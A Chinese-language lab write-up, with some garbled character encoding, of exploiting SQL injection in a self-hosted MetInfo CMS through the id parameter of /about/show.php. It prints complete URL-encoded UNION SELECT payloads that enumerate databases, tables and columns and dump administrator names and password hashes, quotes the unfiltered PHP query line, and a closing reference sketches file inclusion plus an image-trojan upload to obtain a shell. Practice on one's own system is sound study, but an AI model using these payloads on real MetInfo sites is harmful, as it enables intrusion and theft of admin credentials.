我們公司小伙伴寫(xiě)的,我們自己架設(shè)一個(gè)系統(tǒng),,想辦法搞定它,, 發(fā)現(xiàn)問(wèn)題很多,收獲也不小,,
曲折才剛剛開(kāi)始/about/show.php?lang=cn&id=22
這兩天自己搭了一個(gè)Metinfo的站點(diǎn)練手,,從網(wǎng)上找了個(gè)注入點(diǎn),手工測(cè)試了一下明顯的有注入點(diǎn)的存在,,先扔到SQLMAP里跑跑看~~ 
成功跑出來(lái)了我服務(wù)器上的所有數(shù)據(jù)庫(kù) ~ 可以的 大兄弟 接著來(lái)跑跑表和字段吧~~ 
接著又跑出來(lái)了所有的表和met_admin_column表中的所有字段,,看來(lái)馬上就成功啦 哈哈 其實(shí)我們?cè)谑褂霉ぞ叩臅r(shí)候根據(jù)工具中回顯的情況基本就可判斷出,SQLMAP使用的是什么payload以及注入的具體方式,,比如在我這次查詢(xún)的過(guò) 程中,,可以看到不論查詢(xún)的是數(shù)據(jù)庫(kù)還是表,都是一個(gè)一個(gè)進(jìn)行查詢(xún)的,,就可以判斷出來(lái)payload中使用了LIMIT這樣的查詢(xún)方式,,限定了每次查詢(xún)的個(gè) 數(shù)。要是出現(xiàn)一個(gè)一個(gè)字符出來(lái)的情況,,可以判斷出,,查詢(xún)數(shù)據(jù)庫(kù)的版本可能較低,因?yàn)橥ǔ,,F(xiàn)在的數(shù)據(jù)庫(kù)都是有元數(shù)據(jù)表的,,可以直接進(jìn)行查詢(xún),一個(gè)字符一個(gè)字 符出現(xiàn),,說(shuō)明他利用ACSII碼在進(jìn)行比對(duì)比對(duì)成功以后回顯字符,。
但是繼續(xù)用SQLMAP跑字段中數(shù)據(jù)的時(shí)候出現(xiàn)了錯(cuò)誤,無(wú)法dump字段中的數(shù)據(jù),,曲折就此開(kāi)始......
開(kāi)啟手工大法既然工具無(wú)法順利的跑出數(shù)據(jù),,可以嘗試使用手工進(jìn)行注入 
這是一個(gè)正常的頁(yè)面 爆字段數(shù)首先來(lái)測(cè)試一下字段數(shù)有多少,,通常我們使用order by語(yǔ)句進(jìn)行查詢(xún),嘗試多次order by n ,,n值無(wú)論如何測(cè)試,,頁(yè)面回顯都是正常的,,說(shuō)明這種測(cè)試方法行不通 
換著使用union語(yǔ)句去查詢(xún)當(dāng)前表的字段數(shù),,利用: UNION ALL SELECT null
UNION ALL SELECT null,null
UNION ALL SELECT null,null,null
方式遞歸查詢(xún)字段數(shù),,直到返回正常的頁(yè)面為止,當(dāng)我查詢(xún)到27個(gè)字段時(shí)為正常,,第28個(gè)報(bào)錯(cuò)時(shí),,可以判斷出共有27個(gè)字段數(shù)。 成功爆出了字段數(shù),,繼續(xù)下一步 爆出數(shù)據(jù)庫(kù)先使用聯(lián)合查詢(xún)嘗試爆出顯位 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
頁(yè)面回顯404,,出現(xiàn)了錯(cuò)誤 (通過(guò)查看源代碼可以知道,只要SQL語(yǔ)句查詢(xún)不正確,,就會(huì)返回404) 修改payload,,將整個(gè)payload進(jìn)行URL編碼 %20UNION%20ALL%20SELECT%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%23
此時(shí)頁(yè)面回顯正常,說(shuō)明我們語(yǔ)句構(gòu)造成功了 
但是回顯的頁(yè)面說(shuō)我們權(quán)限不夠,,先不管他繼續(xù)嘗試注入看是否能夠成功。 先構(gòu)造出查詢(xún)數(shù)據(jù)庫(kù)的查詢(xún)語(yǔ)句,,如下所示: %28SELECT%20CONCAT%280x7162717671%2CIFNULL%28CAST%28schema_name%20AS%20CHAR%29%2C0x20%29%2C0x71716a6a71%29%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20LIMIT%207%2C1%29
SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA
以上兩種語(yǔ)句都可以查詢(xún)?cè)獢?shù)據(jù)表中的各個(gè)數(shù)據(jù)庫(kù)名字 我們將查詢(xún)語(yǔ)句依次嘗試放入各個(gè)字段的位置里進(jìn)行測(cè)試,,發(fā)現(xiàn)除了21號(hào)位置以外,其他不管放在什么位置都會(huì)彈出窗口顯示權(quán)限不足,。 其他位置 

21號(hào)字段 
此時(shí)我們可以看到,,當(dāng)我們把查詢(xún)語(yǔ)句放在21號(hào)位置上的時(shí)候頁(yè)面返回正常,并且成功的爆出了顯位是14號(hào)位置,,仿佛看見(jiàn)了希望呀,,感動(dòng)~~~ 直接把查詢(xún)語(yǔ)句放在14號(hào)位置,21號(hào)位置不放時(shí),,又出現(xiàn)了錯(cuò)誤,。。,。我,。。尼 淡定 ,。,。。想了想看來(lái)得有個(gè)語(yǔ)句把21號(hào)位置占住了,,不然有了顯位也沒(méi)用,,沒(méi)辦法爆出數(shù)據(jù)庫(kù),。 /about/show.php?lang=cn&id=-1411%20UNION%20ALL%20SELECT%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2CCONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())%2C15%2C16%2C17%2C18%2C19%2C20%2C%28SELECT%20CONCAT%280x7162717671%2CIFNULL%28CAST%28schema_name%20AS%20CHAR%29%2C0x20%29%2C0x71716a6a71%29%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20LIMIT%207%2C1%29%2C22%2C23%2C24%2C25%2C26%2C27%23

這次再次嘗試了新的payload,看到結(jié)果感動(dòng)的不要不要的,,數(shù)據(jù)庫(kù)爆出來(lái)了 讓我哭一會(huì) (看起來(lái)很容易的樣子,,我弄的時(shí)候剛開(kāi)始沒(méi)想到這,各種撓頭啊啊啊,,還是突然想到這么搞得...) 爆出了數(shù)據(jù)庫(kù)剩下的就簡(jiǎn)單了 爆出表/about/show.php?lang=cn&id=-1411%20UNION%20ALL%20SELECT%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x6d6574)%2C15%2C16%2C17%2C18%2C19%2C20%2C%28SELECT%20CONCAT%280x7162717671%2CIFNULL%28CAST%28schema_name%20AS%20CHAR%29%2C0x20%29%2C0x71716a6a71%29%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20LIMIT%207%2C1%29%2C22%2C23%2C24%2C25%2C26%2C27%23

哈哈 ~ fighting 爆字段/about/show.php?lang=cn&id=-1411%20UNION%20ALL%20SELECT%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x6d65745f61646d696e5f7461626c65)%2C15%2C16%2C17%2C18%2C19%2C20%2C%28SELECT%20CONCAT%280x7162717671%2CIFNULL%28CAST%28schema_name%20AS%20CHAR%29%2C0x20%29%2C0x71716a6a71%29%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20LIMIT%207%2C1%29%2C22%2C23%2C24%2C25%2C26%2C27%23

爆數(shù)據(jù)/about/show.php?lang=cn&id=-1411%20UNION%20ALL%20SELECT%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C(SELECT+GROUP_CONCAT(admin_pass,admin_name+SEPARATOR+0x3c62723e)+FROM+met.met_admin_table)%2C15%2C16%2C17%2C18%2C19%2C20%2C%28SELECT%20CONCAT%280x7162717671%2CIFNULL%28CAST%28schema_name%20AS%20CHAR%29%2C0x20%29%2C0x71716a6a71%29%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20LIMIT%207%2C1%29%2C22%2C23%2C24%2C25%2C26%2C27%23

成功 總結(jié)其實(shí)這個(gè)注入并不難,,從它的代碼上看到,沒(méi)有任何的過(guò)濾措施,,注入點(diǎn)就是一個(gè)基于布爾型的盲注,,只要能夠構(gòu)造出來(lái)正確的查詢(xún)語(yǔ)句,查詢(xún)起來(lái)并不困 難,。這個(gè)注入點(diǎn)的難點(diǎn)其實(shí)就在于,,你必須在占住21號(hào)位置的前提下利用14號(hào)位置進(jìn)行查詢(xún),再者就是構(gòu)造的語(yǔ)句必須經(jīng)過(guò)URL編碼,,否則會(huì)報(bào)錯(cuò),。 $show = $db->get_one("SELECT * FROM $met_column WHERE id=$id and module=1");
這個(gè)是注入點(diǎn)的代碼,發(fā)現(xiàn)其實(shí)很簡(jiǎn)答,。 原文鏈接上給出的是基于時(shí)間型的盲注,,可能是因?yàn)樗麄兎雷o(hù)措施做的比較好,無(wú)法回顯數(shù)據(jù)出來(lái),,我是直接在服務(wù)器上搭好當(dāng)練習(xí)使用的,,沒(méi)有太多的防護(hù)措施,這個(gè)時(shí)候就可以巧妙地利用SQL語(yǔ)句中sleep()函數(shù)進(jìn)行注入,,這樣即便沒(méi)有回顯,,我們也可以拿到數(shù)據(jù)庫(kù)等信息
通過(guò)這次練習(xí),真的說(shuō)明了滲透靠的是耐心,,這個(gè)漏洞使用各種姿勢(shì)去構(gòu)造語(yǔ)句,,一直沒(méi)辦法成功,這也說(shuō)明了實(shí)戰(zhàn)經(jīng)驗(yàn)還是太少了,,但是其實(shí)只要明白了整個(gè)注入的原理,,根據(jù)返回的數(shù)據(jù)進(jìn)行payload的修改,肯定能夠構(gòu)造出正確的語(yǔ)句,,注入的重點(diǎn)在于語(yǔ)句的構(gòu)造,,這也需要我們對(duì)SQL語(yǔ)句的熟練,以及對(duì)于常用數(shù)據(jù)庫(kù)特性有著不錯(cuò)的理解,,因此學(xué)好SQL語(yǔ)句和Mysql,,Mssql,Oracle等常用的數(shù)據(jù)庫(kù)都是必須的 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
推薦網(wǎng)站: 網(wǎng)頁(yè)鏈接 參考:
MetInfo內(nèi)容管理系統(tǒng)sql注入每周一插MetInfo內(nèi)容管理系統(tǒng)sql... 已經(jīng)確認(rèn)是sql注入,,爆出管理登后臺(tái)  后臺(tái)可以修改可上傳文件后綴,,添加上php依舊無(wú)法上傳,。
 當(dāng)前版本有一處文件包含,如圖:
 上傳一張圖馬,,那么拿shell就輕輕松松,。


修復(fù)建議: 如有使用這個(gè)版本的老板們請(qǐng)及時(shí)更新系統(tǒng)。
|